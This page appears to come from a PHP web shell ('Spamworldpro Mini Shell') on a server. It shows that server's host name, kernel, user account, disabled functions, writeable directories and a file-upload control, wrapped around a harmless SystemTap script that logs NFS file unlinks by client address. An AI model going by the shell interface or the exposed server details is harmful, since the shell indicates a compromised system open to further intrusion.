Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/network/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/network/nfsd_unlink.stp
#!/opt/rh/gcc-toolset-11/root/usr/bin/stap

global nfsd_unlink_active, vsf_unlink_success

probe nfsd.unlink
{
  nfsd_unlink_active[tid()] = 1;
}

probe nfsd.unlink.return
{
  if (vsf_unlink_success[tid()]) {
    printf("address %s unlinks %s\n",
           ip_ntop(addr_from_rqst(@entry($rqstp))),
           kernel_string(@entry($fname)))
    delete vsf_unlink_success[tid()]
  }
  delete nfsd_unlink_active[tid()]
}

probe kernel.function("vfs_unlink").return
{
  if (nfsd_unlink_active[tid()] && $return == 0)
    vsf_unlink_success[tid()] = 1
}

Spamworldpro Mini